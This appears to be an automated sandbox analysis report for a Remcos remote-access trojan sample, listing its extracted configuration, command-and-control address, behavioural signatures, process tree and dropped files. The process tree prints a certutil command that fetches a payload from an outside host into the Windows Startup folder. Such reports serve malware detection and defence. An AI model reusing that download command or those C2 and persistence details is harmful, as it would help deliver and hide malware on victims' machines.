Overview

overview

10

Static

static

5

2026-04-28...os.exe

windows10-2004-x64

10

2026-04-28...os.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    28/04/2026, 01:04

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General

  • Target
    2026-04-28_0da7ac03b5cd5e0e1bdd39b9150e09f7_agent-tesla_amadey_darkgate_elex_maze_nanocore-rat_remcos.exe
  • Size 4.0MB
  • Sample260428-bfa97sb13t
  • SHA256 74d429a227cc726d9b63159d8452d7c399c99610f9546b55d9957192a84a9dca
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
remote%hostdiscoveryremcosrat

Malware Config

Extracted

Family

  • remcos

Version

  • 2.4.5 Pro

Botnet

  • Remote%Host

C2

  • www.rmagent.biz:7181

Attributes
  • audio_folder

    MicRecords

  • audio_path

    %AppData%

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    vbs.server.exe

  • copy_folder

    vbs.server

  • delete_file

    true

  • hide_file

    true

  • hide_keylog_file

    false

  • install_flag

    false

  • install_path

    %AppData%

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    Remcos-00GA1C

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    vbs.server

  • take_screenshot_option

    false

  • take_screenshot_time

    5

  • take_screenshot_title

    wikipedia;solitaire;

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • detects Windows exceutables potentially bypassing UAC using eventvwr.exe 4 IoCs
  • Manipulates Digital Signatures 1 TTPs 3 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-28_0da7ac03b5cd5e0e1bdd39b9150e09f7_agent-tesla_amadey_darkgate_elex_maze_nanocore-rat_remcos.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-28_0da7ac03b5cd5e0e1bdd39b9150e09f7_agent-tesla_amadey_darkgate_elex_maze_nanocore-rat_remcos.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
        3⤵
        • Manipulates Digital Signatures
        • System Location Discovery: System Language Discovery
        PID:3396
    • C:\Users\Admin\AppData\Local\Temp\2026-04-28_0da7ac03b5cd5e0e1bdd39b9150e09f7_agent-tesla_amadey_darkgate_elex_maze_nanocore-rat_remcos.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-04-28_0da7ac03b5cd5e0e1bdd39b9150e09f7_agent-tesla_amadey_darkgate_elex_maze_nanocore-rat_remcos.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2776

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        startup.bat
        • Path C:\Users\Admin\AppData\Local\Temp\startup.bat
        • Size 189B
        • SHA256 1aa1d3f94403886d377c65cf35624d289107ea78beedaf433d18c83b20c3092f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        logs.dat
        • Path C:\Users\Admin\AppData\Roaming\remcos\logs.dat
        • Size 79B
        • SHA256 c652400ae258acac7fbd48f99cf1312a12f2749799e3ad13b0d757d76387e4e0
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2776-7-0x00000000003D0000-0x00000000003F0000-memory.dmp
        Download

        memory/2776-14-0x00000000003D0000-0x00000000003F0000-memory.dmp
        Download

        memory/2776-15-0x00000000003D0000-0x00000000003F0000-memory.dmp
        Download

        memory/2776-18-0x00000000003D0000-0x00000000003F0000-memory.dmp
        Download

        memory/3208-6-0x0000000001EC0000-0x0000000001EC1000-memory.dmp
        Download